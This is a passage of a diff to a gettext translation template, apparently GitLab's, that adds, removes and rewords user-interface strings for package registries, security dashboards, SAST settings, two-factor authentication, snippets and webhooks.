msgid "PackageRegistry|You may also need to setup authentication using an auth token. %{linkStart}See the documentation%{linkEnd} to find out more."
msgstr ""
-msgid "PackageRegistry|npm"
+msgid "PackageRegistry|composer.json registry include"
+msgstr ""
+
+msgid "PackageRegistry|composer.json require package include"
+msgstr ""
+
+msgid "PackageRegistry|npm command"
msgstr ""
msgid "PackageRegistry|published by %{author}"
msgstr ""
-msgid "PackageRegistry|yarn"
+msgid "PackageRegistry|yarn command"
msgstr ""
msgid "PackageType|Composer"
@@ -17318,7 +17877,7 @@ msgstr ""
msgid "Password successfully changed"
msgstr ""
-msgid "Password was successfully updated. Please login with it"
+msgid "Password was successfully updated. Please sign in again."
msgstr ""
msgid "Passwords should be unique and not used for any other sites or services."
@@ -17822,6 +18381,9 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please contact your administrator with any questions."
+msgstr ""
+
msgid "Please contact your administrator."
msgstr ""
@@ -17975,13 +18537,13 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on a project’s overview page."
msgstr ""
-msgid "Preferences|Customize integrations with third party services."
+msgid "Preferences|Choose what content you want to see on your homepage."
msgstr ""
-msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
+msgid "Preferences|Customize integrations with third party services."
msgstr ""
-msgid "Preferences|Default dashboard"
+msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
msgstr ""
msgid "Preferences|Display time in 24-hour format"
@@ -17993,6 +18555,9 @@ msgstr ""
msgid "Preferences|For example: 30 mins ago."
msgstr ""
+msgid "Preferences|Homepage content"
+msgstr ""
+
msgid "Preferences|Instead of all the files changed, show only one file at a time. To switch between files, use the file browser."
msgstr ""
@@ -18284,15 +18849,9 @@ msgstr ""
msgid "Profiles|Default notification email"
msgstr ""
-msgid "Profiles|Delete Account"
-msgstr ""
-
msgid "Profiles|Delete account"
msgstr ""
-msgid "Profiles|Delete your account?"
-msgstr ""
-
msgid "Profiles|Deleting an account has the following effects:"
msgstr ""
@@ -18683,6 +19242,9 @@ msgstr ""
msgid "Project visibility level will be changed to match namespace rules when transferring to a group."
msgstr ""
+msgid "Project was not found or you do not have permission to add this project to Security Dashboards."
+msgstr ""
+
msgid "Project: %{name}"
msgstr ""
@@ -18707,6 +19269,9 @@ msgstr ""
msgid "ProjectFileTree|Name"
msgstr ""
+msgid "ProjectFileTree|Show more"
+msgstr ""
+
msgid "ProjectLastActivity|Never"
msgstr ""
@@ -19298,7 +19863,7 @@ msgstr ""
msgid "PrometheusAlerts|Operator"
msgstr ""
-msgid "PrometheusAlerts|Runbook"
+msgid "PrometheusAlerts|Runbook URL (optional)"
msgstr ""
msgid "PrometheusAlerts|Select query"
@@ -19307,10 +19872,19 @@ msgstr ""
msgid "PrometheusAlerts|Threshold"
msgstr ""
-msgid "PrometheusService|%{exporters} with %{metrics} were found"
+msgid "PrometheusAlerts|exceeded"
+msgstr ""
+
+msgid "PrometheusAlerts|https://gitlab.com/gitlab-com/runbooks"
+msgstr ""
+
+msgid "PrometheusAlerts|is equal to"
msgstr ""
-msgid "PrometheusService|<p class=\"text-tertiary\">No <a href=\"%{docsUrl}\">common metrics</a> were found</p>"
+msgid "PrometheusAlerts|is less than"
+msgstr ""
+
+msgid "PrometheusService|%{exporters} with %{metrics} were found"
msgstr ""
msgid "PrometheusService|Active"
@@ -19370,6 +19944,9 @@ msgstr ""
msgid "PrometheusService|New metric"
msgstr ""
+msgid "PrometheusService|No %{docsUrlStart}common metrics%{docsUrlEnd} were found"
+msgstr ""
+
msgid "PrometheusService|No custom metrics have been created. Create one using the button above"
msgstr ""
@@ -19424,6 +20001,9 @@ msgstr ""
msgid "Promoted issue to an epic."
msgstr ""
+msgid "Promotion is not supported."
+msgstr ""
+
msgid "Promotions|Burndown Charts are visual representations of the progress of completing a milestone. At a glance, you see the current state for the completion a given milestone. Without them, you would have to organize the data from the milestone and plot it yourself to have the same sense of progress."
msgstr ""
@@ -19505,6 +20085,9 @@ msgstr ""
msgid "Prompt users to upload SSH keys"
msgstr ""
+msgid "Protect"
+msgstr ""
+
msgid "Protect variable"
msgstr ""
@@ -19835,9 +20418,6 @@ msgstr ""
msgid "Recent searches"
msgstr ""
-msgid "Recipe"
-msgstr ""
-
msgid "Reconfigure"
msgstr ""
@@ -19933,6 +20513,9 @@ msgstr ""
msgid "Registration|Your profile"
msgstr ""
+msgid "Registry setup"
+msgstr ""
+
msgid "Regulate approvals by authors/committers, based on compliance frameworks. Can be changed only at the instance level."
msgstr ""
@@ -20025,6 +20608,9 @@ msgstr ""
msgid "Releases|New Release"
msgstr ""
+msgid "Release|Something went wrong while creating a new release"
+msgstr ""
+
msgid "Release|Something went wrong while getting the release details"
msgstr ""
@@ -20067,6 +20653,9 @@ msgstr ""
msgid "Remove all or specific label(s)"
msgstr ""
+msgid "Remove approver"
+msgstr ""
+
msgid "Remove approvers"
msgstr ""
@@ -20136,9 +20725,6 @@ msgstr ""
msgid "Remove priority"
msgstr ""
-msgid "Remove project"
-msgstr ""
-
msgid "Remove secondary node"
msgstr ""
@@ -20172,9 +20758,6 @@ msgstr ""
msgid "Removed %{type} with id %{id}"
msgstr ""
-msgid "Removed Projects"
-msgstr ""
-
msgid "Removed all labels."
msgstr ""
@@ -20187,12 +20770,6 @@ msgstr ""
msgid "Removed parent epic %{epic_ref}."
msgstr ""
-msgid "Removed projects"
-msgstr ""
-
-msgid "Removed projects cannot be restored!"
-msgstr ""
-
msgid "Removed spent time."
msgstr ""
@@ -20241,15 +20818,9 @@ msgstr ""
msgid "Removes time estimate."
msgstr ""
-msgid "Removing a project places it into a read-only state until %{date}, at which point the project will be permanently removed. Are you ABSOLUTELY sure?"
-msgstr ""
-
msgid "Removing license…"
msgstr ""
-msgid "Removing the project will delete its repository and all related resources including issues, merge requests etc."
-msgstr ""
-
msgid "Removing this group also removes all child projects, including archived projects, and their resources."
msgstr ""
@@ -20432,9 +21003,6 @@ msgstr ""
msgid "Repository Settings"
msgstr ""
-msgid "Repository URL"
-msgstr ""
-
msgid "Repository check"
msgstr ""
@@ -20622,9 +21190,15 @@ msgstr ""
msgid "Resolve all threads in new issue"
msgstr ""
+msgid "Resolve conflicts"
+msgstr ""
+
msgid "Resolve conflicts on source branch"
msgstr ""
+msgid "Resolve these conflicts or ask someone with write access to this repository to merge it locally."
+msgstr ""
+
msgid "Resolve thread"
msgstr ""
@@ -20804,6 +21378,9 @@ msgstr ""
msgid "Rook"
msgstr ""
+msgid "Rule name is already taken."
+msgstr ""
+
msgid "Rules that define what git pushes are accepted for a project in this group. All newly created projects in this group will use these settings."
msgstr ""
@@ -20816,6 +21393,9 @@ msgstr ""
msgid "Run housekeeping"
msgstr ""
+msgid "Run manual or delayed jobs"
+msgstr ""
+
msgid "Run tests against your code live using the Web Terminal"
msgstr ""
@@ -20942,6 +21522,9 @@ msgstr ""
msgid "Save Changes"
msgstr ""
+msgid "Save Push Rules"
+msgstr ""
+
msgid "Save anyway"
msgstr ""
@@ -20972,6 +21555,9 @@ msgstr ""
msgid "Save variables"
msgstr ""
+msgid "Saved scan settings and target site settings which are reusable."
+msgstr ""
+
msgid "Saving"
msgstr ""
@@ -21020,6 +21606,9 @@ msgstr ""
msgid "Scopes can't be blank"
msgstr ""
+msgid "Score"
+msgstr ""
+
msgid "Scroll down"
msgstr ""
@@ -21062,6 +21651,9 @@ msgstr ""
msgid "Search branches and tags"
msgstr ""
+msgid "Search branches, tags, and commits"
+msgstr ""
+
msgid "Search by Git revision"
msgstr ""
@@ -21259,6 +21851,9 @@ msgstr ""
msgid "Secondary"
msgstr ""
+msgid "Seconds"
+msgstr ""
+
msgid "Secret"
msgstr ""
@@ -21286,13 +21881,37 @@ msgstr ""
msgid "Security report is out of date. Run %{newPipelineLinkStart}a new pipeline%{newPipelineLinkEnd} for the target branch (%{targetBranchName})"
msgstr ""
+msgid "SecurityApprovals|License Scanning must be enabled. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|One or more of the security scanners must be enabled. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|Requires approval for vulnerabilties of Critical, High, or Unknown severity. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
+msgid "SecurityApprovals|Requires license policy rules for licenses of Allowed, or Denied. %{linkStart}More information%{linkEnd}"
+msgstr ""
+
msgid "SecurityConfiguration|An error occurred while creating the merge request."
msgstr ""
+msgid "SecurityConfiguration|Available for on-demand DAST"
+msgstr ""
+
msgid "SecurityConfiguration|Configure"
msgstr ""
-msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. More advanced configuration options exist, which you can add to the configuration file this tool generates. It's important to note that if you make any configurations, they will be saved as overrides and will be %{strongStart}excluded from automatic updates%{strongEnd}."
+msgid "SecurityConfiguration|Could not retrieve configuration data. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "SecurityConfiguration|Create Merge Request"
+msgstr ""
+
+msgid "SecurityConfiguration|Customize common SAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{linkStart}GitLab SAST documentation%{linkEnd}."
+msgstr ""
+
+msgid "SecurityConfiguration|Enable"
msgstr ""
msgid "SecurityConfiguration|Enable via Merge Request"
@@ -21313,6 +21932,9 @@ msgstr ""
msgid "SecurityConfiguration|Not enabled"
msgstr ""
+msgid "SecurityConfiguration|SAST Configuration"
+msgstr ""
+
msgid "SecurityConfiguration|Security Control"
msgstr ""
@@ -21340,7 +21962,7 @@ msgstr ""
msgid "SecurityReports|Add a project to your dashboard"
msgstr ""
-msgid "SecurityReports|Add or remove projects from your dashboard"
+msgid "SecurityReports|Add or remove projects to monitor in the security area. Projects included in this list will have their results displayed in the security dashboard and vulnerability report."
msgstr ""
msgid "SecurityReports|Add projects"
@@ -21376,13 +21998,10 @@ msgstr ""
msgid "SecurityReports|Download Report"
msgstr ""
-msgid "SecurityReports|Each vulnerability now has a unique page that can be directly linked to, shared, referenced, and tracked as the single source of truth. Vulnerability occurrences also persist across scanner runs, which improves tracking and visibility and reduces duplicates between scans."
-msgstr ""
-
-msgid "SecurityReports|Edit dashboard"
+msgid "SecurityReports|Either you don't have permission to view this dashboard or the dashboard has not been setup. Please check your permission settings with your administrator or check your dashboard configurations to proceed."
msgstr ""
-msgid "SecurityReports|Either you don't have permission to view this dashboard or the dashboard has not been setup. Please check your permission settings with your administrator or check your dashboard configurations to proceed."
+msgid "SecurityReports|Ensure that %{trackingStart}issue tracking%{trackingEnd} is enabled for this project and you have %{permissionsStart}permission to create new issues%{permissionsEnd}."
msgstr ""
msgid "SecurityReports|Error fetching the vulnerability counts. Please check your network connection and try again."
@@ -21397,19 +22016,13 @@ msgstr ""
msgid "SecurityReports|Fuzzing artifacts"
msgstr ""
-msgid "SecurityReports|Group Security Dashboard"
-msgstr ""
-
msgid "SecurityReports|Hide dismissed"
msgstr ""
-msgid "SecurityReports|Introducing standalone vulnerabilities"
-msgstr ""
-
msgid "SecurityReports|Issue Created"
msgstr ""
-msgid "SecurityReports|Learn more"
+msgid "SecurityReports|Issues created from a vulnerability cannot be removed."
msgstr ""
msgid "SecurityReports|Learn more about setting up your dashboard"
@@ -21421,6 +22034,9 @@ msgstr ""
msgid "SecurityReports|Monitor vulnerabilities in your code"
msgstr ""
+msgid "SecurityReports|Monitored projects"
+msgstr ""
+
msgid "SecurityReports|More info"
msgstr ""
@@ -21439,13 +22055,13 @@ msgstr ""
msgid "SecurityReports|Project"
msgstr ""
-msgid "SecurityReports|Projects added"
+msgid "SecurityReports|Project was not found or you do not have permission to add this project to Security Dashboards."
msgstr ""
-msgid "SecurityReports|Remove project from dashboard"
+msgid "SecurityReports|Projects added"
msgstr ""
-msgid "SecurityReports|Return to dashboard"
+msgid "SecurityReports|Remove project from dashboard"
msgstr ""
msgid "SecurityReports|Scan details"
@@ -21517,7 +22133,7 @@ msgstr ""
msgid "SecurityReports|To widen your search, change or remove filters above"
msgstr ""
-msgid "SecurityReports|Unable to add %{invalidProjectsMessage}"
+msgid "SecurityReports|Unable to add %{invalidProjectsMessage}: %{errorMessage}"
msgstr ""
msgid "SecurityReports|Unable to add %{invalidProjects}"
@@ -21526,6 +22142,9 @@ msgstr ""
msgid "SecurityReports|Undo dismiss"
msgstr ""
+msgid "SecurityReports|Vulnerability Report"
+msgstr ""
+
msgid "SecurityReports|While it's rare to have no vulnerabilities for your pipeline, it can happen. In any event, we ask that you double check your settings to make sure all security scanning jobs have passed successfully."
msgstr ""
@@ -21556,9 +22175,6 @@ msgstr ""
msgid "See what's new at GitLab"
msgstr ""
-msgid "See your pipeline in action"
-msgstr ""
-
msgid "Select"
msgstr ""
@@ -21682,6 +22298,9 @@ msgstr ""
msgid "Select shards to replicate"
msgstr ""
+msgid "Select source"
+msgstr ""
+
msgid "Select source branch"
msgstr ""
@@ -21712,6 +22331,9 @@ msgstr ""
msgid "Select timezone"
msgstr ""
+msgid "Select type"
+msgstr ""
+
msgid "Select user"
msgstr ""
@@ -21901,6 +22523,12 @@ msgstr ""
msgid "Service Desk is enabled but not yet active"
msgstr ""
+msgid "Service Desk is not enabled"
+msgstr ""
+
+msgid "Service Desk is not supported"
+msgstr ""
+
msgid "Service Templates"
msgstr ""
@@ -21913,6 +22541,12 @@ msgstr ""
msgid "Set %{epic_ref} as the parent epic."
msgstr ""
+msgid "Set .gitlab-ci.yml to enable or configure SAST"
+msgstr ""
+
+msgid "Set .gitlab-ci.yml to enable or configure SAST security scanning using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
+msgstr ""
+
msgid "Set a default template for issue descriptions."
msgstr ""
@@ -22229,19 +22863,19 @@ msgstr ""
msgid "Showing %{pageSize} of %{total} issues"
msgstr ""
-msgid "Showing Latest Version"
+msgid "Showing all issues"
msgstr ""
-msgid "Showing Version #%{versionNumber}"
+msgid "Showing graphs based on events of the last %{timerange} days."
msgstr ""
-msgid "Showing all issues"
+msgid "Showing last %{size} of log -"
msgstr ""
-msgid "Showing graphs based on events of the last %{timerange} days."
+msgid "Showing latest version"
msgstr ""
-msgid "Showing last %{size} of log -"
+msgid "Showing version #%{versionNumber}"
msgstr ""
msgid "Side-by-side"
@@ -22337,6 +22971,9 @@ msgstr ""
msgid "Similar issues"
msgstr ""
+msgid "Simulate a pipeline created for the default branch"
+msgstr ""
+
msgid "Single or combined queries"
msgstr ""
@@ -22379,7 +23016,7 @@ msgstr ""
msgid "SlackIntegration|Select events below to enable notifications. The %{strong_open}Slack channel names%{strong_close} and %{strong_open}Slack username%{strong_close} fields are optional."
msgstr ""
-msgid "SlackIntegration|This service send notifications about projects' events to Slack channels. To set up this service:"
+msgid "SlackIntegration|This service sends notifications about project events to Slack channels. To set up this service:"
msgstr ""
msgid "SlackService|2. Paste the %{strong_open}Token%{strong_close} into the field below"
@@ -22430,12 +23067,21 @@ msgstr ""
msgid "SnippetsEmptyState|There are no snippets to show."
msgstr ""
+msgid "Snippets|Add another file %{num}/%{total}"
+msgstr ""
+
+msgid "Snippets|Delete file"
+msgstr ""
+
msgid "Snippets|Description (optional)"
msgstr ""
msgid "Snippets|File"
msgstr ""
+msgid "Snippets|Files"
+msgstr ""
+
msgid "Snippets|Give your file a name to add code highlighting, e.g. example.rb for Ruby"
msgstr ""
@@ -22493,6 +23139,9 @@ msgstr ""
msgid "Something went wrong trying to change the locked state of this %{issuableDisplayName}"
msgstr ""
+msgid "Something went wrong when reordering designs. Please try again"
+msgstr ""
+
msgid "Something went wrong when toggling the button"
msgstr ""
@@ -22622,10 +23271,10 @@ msgstr ""
msgid "Something went wrong, unable to add projects to dashboard"
msgstr ""
-msgid "Something went wrong, unable to get projects"
+msgid "Something went wrong, unable to delete project"
msgstr ""
-msgid "Something went wrong, unable to remove project"
+msgid "Something went wrong, unable to get projects"
msgstr ""
msgid "Something went wrong, unable to search projects"
@@ -23522,6 +24171,9 @@ msgstr ""
msgid "Switch to the source to copy the file contents"
msgstr ""
+msgid "Symbolic link"
+msgstr ""
+
msgid "Sync information"
msgstr ""
@@ -23570,6 +24222,9 @@ msgstr ""
msgid "Tag name"
msgstr ""
+msgid "Tag name is required"
+msgstr ""
+
msgid "Tag this commit."
msgstr ""
@@ -23582,6 +24237,9 @@ msgstr ""
msgid "Tags"
msgstr ""
+msgid "Tags are deleted until the timeout is reached. Any remaining tags are included the next time the policy runs. To remove the time limit, set it to 0."
+msgstr ""
+
msgid "Tags feed"
msgstr ""
@@ -23763,6 +24421,12 @@ msgstr ""
msgid "Test"
msgstr ""
+msgid "Test Cases"
+msgstr ""
+
+msgid "Test cases are not available for this project"
+msgstr ""
+
msgid "Test coverage parsing"
msgstr ""
@@ -23831,9 +24495,6 @@ msgstr ""
msgid "TestReports|There was an error fetching the summary."
msgstr ""
-msgid "TestReports|There was an error fetching the test reports."
-msgstr ""
-
msgid "TestReports|There was an error fetching the test suite."
msgstr ""
@@ -23870,15 +24531,12 @@ msgstr ""
msgid "The %{link_start}true-up model%{link_end} allows having more users, and additional users will incur a retroactive charge on renewal."
msgstr ""
-msgid "The %{true_up_link_start}true-up model%{link_end} has a retroactive charge for these users at the next renewal. If you want to update your license sooner to prevent this, %{support_link_start}please contact our Support team%{link_end}."
-msgstr ""
-
msgid "The %{type} contains the following error:"
msgid_plural "The %{type} contains the following errors:"
msgstr[0] ""
msgstr[1] ""
-msgid "The Advanced Global Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
+msgid "The Advanced Search in GitLab is a powerful search service that saves you time. Instead of creating duplicate code and wasting time, you can now search for code within other teams that can help your own project."
msgstr ""
msgid "The CSV export will be created in the background. Once finished, it will be sent to %{strong_open}%{email}%{strong_close} in an attachment."
@@ -23905,6 +24563,9 @@ msgstr ""
msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
msgstr ""
+msgid "The Web IDE offers advanced syntax highlighting capabilities and more."
+msgstr ""
+
msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
msgstr ""
@@ -23935,6 +24596,9 @@ msgstr ""
msgid "The commit does not exist"
msgstr ""
+msgid "The comparison view may be inaccurate due to merge conflicts."
+msgstr ""
+
msgid "The connection will time out after %{timeout}. For repositories that take longer, use a clone/push combination."
msgstr ""
@@ -23989,6 +24653,12 @@ msgstr ""
msgid "The file name should have a .yml extension"
msgstr ""
+msgid "The following %{user} can also merge into this branch: %{branch}"
+msgstr ""
+
+msgid "The following %{user} can also push to this branch: %{branch}"
+msgstr ""
+
msgid "The following items will NOT be exported:"
msgstr ""
@@ -24090,13 +24760,13 @@ msgstr ""
msgid "The number of changes to be fetched from GitLab when cloning a repository. This can speed up Pipelines execution. Keep empty or set to 0 to disable shallow clone by default and make GitLab CI fetch all branches and tags each time."
msgstr ""
-msgid "The number of merge requests merged to the master branch by month."
+msgid "The number of merge requests merged by month."
msgstr ""
msgid "The number of times an upload record could not find its file"
msgstr ""
-msgid "The one place for your designs"
+msgid "The parent epic is confidential and can only contain confidential epics and issues"
msgstr ""
msgid "The passphrase required to decrypt the private key. This is optional and the value is encrypted at rest."
@@ -24135,6 +24805,9 @@ msgstr ""
msgid "The project can be accessed without any authentication."
msgstr ""
+msgid "The project has already been added to your dashboard."
+msgstr ""
+
msgid "The project is accessible only by members of the project. Access must be granted explicitly to each user."
msgstr ""
@@ -24252,6 +24925,9 @@ msgstr ""
msgid "There are currently no events."
msgstr ""
+msgid "There are merge conflicts"
+msgstr ""
+
msgid "There are no %{replicableTypeName} to show"
msgstr ""
@@ -24327,12 +25003,15 @@ msgstr ""
msgid "There is already a repository with that name on disk"
msgstr ""
-msgid "There is no data available."
+msgid "There is no chart data available."
msgstr ""
msgid "There is no data available. Please change your selection."
msgstr ""
+msgid "There is no table data available."
+msgstr ""
+
msgid "There is too much data to calculate. Please change your selection."
msgstr ""
@@ -24345,6 +25024,9 @@ msgstr ""
msgid "There was a problem fetching labels."
msgstr ""
+msgid "There was a problem fetching milestones."
+msgstr ""
+
msgid "There was a problem fetching project branches."
msgstr ""
@@ -24495,19 +25177,19 @@ msgstr ""
msgid "There was an error when unsubscribing from this label."
msgstr ""
-msgid "There was an error while fetching value stream analytics data."
+msgid "There was an error while fetching the chart data. Please refresh the page to try again."
msgstr ""
-msgid "There was an error while fetching value stream analytics duration data."
+msgid "There was an error while fetching the table data. Please refresh the page to try again."
msgstr ""
-msgid "There was an error while fetching value stream analytics duration median data."
+msgid "There was an error while fetching value stream analytics %{requestTypeName} data."
msgstr ""
-msgid "There was an error while fetching value stream analytics recent activity data."
+msgid "There was an error while fetching value stream analytics data."
msgstr ""
-msgid "There was an error while fetching value stream analytics time summary data."
+msgid "There was an error while fetching value stream analytics duration data."
msgstr ""
msgid "There was an error with the reCAPTCHA. Please solve the reCAPTCHA again."
@@ -24531,6 +25213,9 @@ msgstr ""
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
msgstr ""
+msgid "This %{issuableType} is confidential"
+msgstr ""
+
msgid "This %{issuable} is locked. Only %{strong_open}project members%{strong_close} can comment."
msgstr ""
@@ -24561,7 +25246,7 @@ msgstr ""
msgid "This action can lead to data loss. To prevent accidental actions we ask you to confirm your intention."
msgstr ""
-msgid "This action cannot be undone. You will lose the project's respository and all conent: issues, merge requests, etc."
+msgid "This action cannot be undone. You will lose the project's repository and all content: issues, merge requests, etc."
msgstr ""
msgid "This action will %{strongOpen}permanently delete%{strongClose} %{codeOpen}%{project}%{codeClose} %{strongOpen}immediately%{strongClose}, including its repositories and all content: issues, merge requests, etc."
@@ -24735,9 +25420,6 @@ msgstr ""
msgid "This is your current session"
msgstr ""
-msgid "This issue is confidential"
-msgstr ""
-
msgid "This issue is currently blocked by the following issues: %{issues}."
msgstr ""
@@ -24900,15 +25582,15 @@ msgstr ""
msgid "This project does not have a wiki homepage yet"
msgstr ""
-msgid "This project does not have billing enabled. To create a cluster, <a href=%{linkToBilling} target=\"_blank\" rel=\"noopener noreferrer\">enable billing <i class=\"fa fa-external-link\" aria-hidden=\"true\"></i></a> and try again."
-msgstr ""
-
msgid "This project has no active access tokens."
msgstr ""
msgid "This project is archived and cannot be commented on."
msgstr ""
+msgid "This project manages its dependencies using %{strong_start}%{manager_name}%{strong_end}"
+msgstr ""
+
msgid "This project path either does not exist or you do not have access."
msgstr ""
@@ -24969,6 +25651,9 @@ msgstr ""
msgid "This variable can not be masked."
msgstr ""
+msgid "This will clear repository check states for ALL projects in the database. This cannot be undone. Are you sure?"
+msgstr ""
+
msgid "This will help us personalize your onboarding experience."
msgstr ""
@@ -25342,9 +26027,6 @@ msgstr ""
msgid "To define internal users, first enable new users set to external"
msgstr ""
-msgid "To enable it and see User Cohorts, visit %{application_settings_link_start}application settings%{application_settings_link_end}."
-msgstr ""
-
msgid "To further protect your account, consider configuring a %{mfa_link_start}two-factor authentication%{mfa_link_end} method."
msgstr ""
@@ -25429,9 +26111,15 @@ msgstr ""
msgid "To unsubscribe from this issue, please paste the following link into your browser:"
msgstr ""
+msgid "To update Snippets with multiple files, you must use the `files` parameter"
+msgstr ""
+
msgid "To view all %{scannedResourcesCount} scanned URLs, please download the CSV file"
msgstr ""
+msgid "To view instance-level analytics, ask an admin to turn on %{docLinkStart}usage ping%{docLinkEnd}."
+msgstr ""
+
msgid "To view the roadmap, add a start or due date to one of your epics in this group or its subgroups. In the months view, only epics in the past month, current month, and next 5 months are shown."
msgstr ""
@@ -25453,9 +26141,6 @@ msgstr ""
msgid "Today"
msgstr ""
-msgid "Toggle Kubernetes cluster"
-msgstr ""
-
msgid "Toggle Markdown preview"
msgstr ""
@@ -25516,6 +26201,9 @@ msgstr ""
msgid "Toggles :%{name}: emoji award."
msgstr ""
+msgid "Token valid until revoked"
+msgstr ""
+
msgid "Tomorrow"
msgstr ""
@@ -25660,6 +26348,9 @@ msgstr ""
msgid "Trigger cluster reindexing"
msgstr ""
+msgid "Trigger manual job"
+msgstr ""
+
msgid "Trigger pipelines for mirror updates"
msgstr ""
@@ -25729,9 +26420,18 @@ msgstr ""
msgid "Turn On"
msgstr ""
+msgid "Turn on %{strongStart}usage ping%{strongEnd} to activate analysis of user activity, known as %{docLinkStart}Cohorts%{docLinkEnd}."
+msgstr ""
+
msgid "Turn on Service Desk"
msgstr ""
+msgid "Turn on usage ping"
+msgstr ""
+
+msgid "Turn on usage ping to review instance-level analytics."
+msgstr ""
+
msgid "Twitter"
msgstr ""
@@ -25747,10 +26447,22 @@ msgstr ""
msgid "Two-factor Authentication Recovery codes"
msgstr ""
-msgid "Two-factor Authentication has been disabled for this user"
+msgid "Two-factor authentication"
msgstr ""
-msgid "Two-factor authentication"
+msgid "Two-factor authentication disabled"
+msgstr ""
+
+msgid "Two-factor authentication has been disabled for this user"
+msgstr ""
+
+msgid "Two-factor authentication has been disabled for your GitLab account."
+msgstr ""
+
+msgid "Two-factor authentication has been disabled successfully!"
+msgstr ""
+
+msgid "Two-factor authentication is not enabled for this user"
msgstr ""
msgid "Type"
@@ -25933,7 +26645,7 @@ msgstr ""
msgid "Unlock the discussion"
msgstr ""
-msgid "Unlock this %{issuableDisplayName}? <strong>Everyone</strong> will be able to comment."
+msgid "Unlock this %{issuableDisplayName}? %{strongStart}Everyone%{strongEnd} will be able to comment."
msgstr ""
msgid "Unlocked"
@@ -26023,6 +26735,9 @@ msgstr ""
msgid "Until"
msgstr ""
+msgid "Unused, previous index '%{index_name}' will be deleted after %{time} automatically."
+msgstr ""
+
msgid "Unverified"
msgstr ""
@@ -26104,9 +26819,6 @@ msgstr ""
msgid "Updated %{updated_at} by %{updated_by}"
msgstr ""
-msgid "Updated at"
-msgstr ""
-
msgid "Updated to %{linkStart}chart v%{linkEnd}"
msgstr ""
@@ -26122,7 +26834,7 @@ msgstr ""
msgid "Upgrade your plan"
msgstr ""
-msgid "Upgrade your plan to activate Advanced Global Search."
+msgid "Upgrade your plan to activate Advanced Search."
msgstr ""
msgid "Upgrade your plan to activate Audit Events."
@@ -26197,7 +26909,7 @@ msgstr ""
msgid "Usage"
msgstr ""
-msgid "Usage ping is not enabled"
+msgid "Usage ping is off"
msgstr ""
msgid "Usage statistics"
@@ -26287,9 +26999,6 @@ msgstr ""
msgid "Use %{code_start}::%{code_end} to create a %{link_start}scoped label set%{link_end} (eg. %{code_start}priority::1%{code_end})"
msgstr ""
-msgid "Use %{native_redirect_uri} for local tests"
-msgstr ""
-
msgid "Use Service Desk to connect with your users (e.g. to offer customer support) through email right inside GitLab"
msgstr ""
@@ -26341,9 +27050,6 @@ msgstr ""
msgid "User %{username} was successfully removed."
msgstr ""
-msgid "User Cohorts are only shown when the %{usage_ping_link_start}usage ping%{usage_ping_link_end} is enabled."
-msgstr ""
-
msgid "User IDs"
msgstr ""
@@ -26587,9 +27293,15 @@ msgstr ""
msgid "Users requesting access to"
msgstr ""
+msgid "Users requesting access to %{strong_start}%{group_name}%{strong_end}"
+msgstr ""
+
msgid "Users were successfully added."
msgstr ""
+msgid "Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
+msgstr ""
+
msgid "Users with a Guest role or those who don't belong to any projects or groups don't count towards seats in use."
msgstr ""
@@ -26623,6 +27335,9 @@ msgstr ""
msgid "Validate"
msgstr ""
+msgid "Validate your GitLab CI configuration"
+msgstr ""
+
msgid "Validate your GitLab CI configuration file"
msgstr ""
@@ -26659,6 +27374,9 @@ msgstr ""
msgid "ValueStreamAnalytics|Median time from issue created to issue closed."
msgstr ""
+msgid "ValueStream|The Default Value Stream cannot be deleted"
+msgstr ""
+
msgid "Variable"
msgstr ""
@@ -26701,6 +27419,12 @@ msgstr ""
msgid "Version"
msgstr ""
+msgid "Version %{versionNumber}"
+msgstr ""
+
+msgid "Version %{versionNumber} (latest)"
+msgstr ""
+
msgid "View Documentation"
msgstr ""
@@ -26903,6 +27627,9 @@ msgstr ""
msgid "Vulnerabilities over time"
msgstr ""
+msgid "Vulnerability Report"
+msgstr ""
+
msgid "Vulnerability remediated. Review before resolving."
msgstr ""
@@ -26966,9 +27693,6 @@ msgstr ""
msgid "VulnerabilityManagement|Something went wrong while trying to unlink the issue. Please try again later."
msgstr ""
-msgid "VulnerabilityManagement|Something went wrong, could not create an issue."
-msgstr ""
-
msgid "VulnerabilityManagement|Something went wrong, could not get user."
msgstr ""
@@ -27110,7 +27834,7 @@ msgstr ""
msgid "We sent you an email with reset password instructions"
msgstr ""
-msgid "We tried to automatically renew your %{strong}%{plan_name}%{strong_close} subscription for %{strong}%{namespace_name}%{strong_close} on %{expires_on} but something went wrong so your subscription was downgraded to the free plan. Don't worry, your data is safe. We suggest you check your payment method and get in touch with our support team (%{support_link}). They'll gladly help with your subscription renewal."
+msgid "We tried to automatically renew your subscription for %{strong}%{namespace_name}%{strong_close} on %{expires_on} but something went wrong so your subscription was downgraded to the free plan. Don't worry, your data is safe. We suggest you check your payment method and get in touch with our support team (%{support_link}). They'll gladly help with your subscription renewal."
msgstr ""
msgid "We want to be sure it is you, please confirm you are not a robot."
@@ -27155,6 +27879,90 @@ msgstr ""
msgid "Webhooks have moved. They can now be found under the Settings menu."
msgstr ""
+msgid "Webhooks|Comments"
+msgstr ""
+
+msgid "Webhooks|Confidential Comments"
+msgstr ""
+
+msgid "Webhooks|Confidential Issues events"
+msgstr ""
+
+msgid "Webhooks|Deployment events"
+msgstr ""
+
+msgid "Webhooks|Enable SSL verification"
+msgstr ""
+
+msgid "Webhooks|Issues events"
+msgstr ""
+
+msgid "Webhooks|Job events"
+msgstr ""
+
+msgid "Webhooks|Merge request events"
+msgstr ""
+
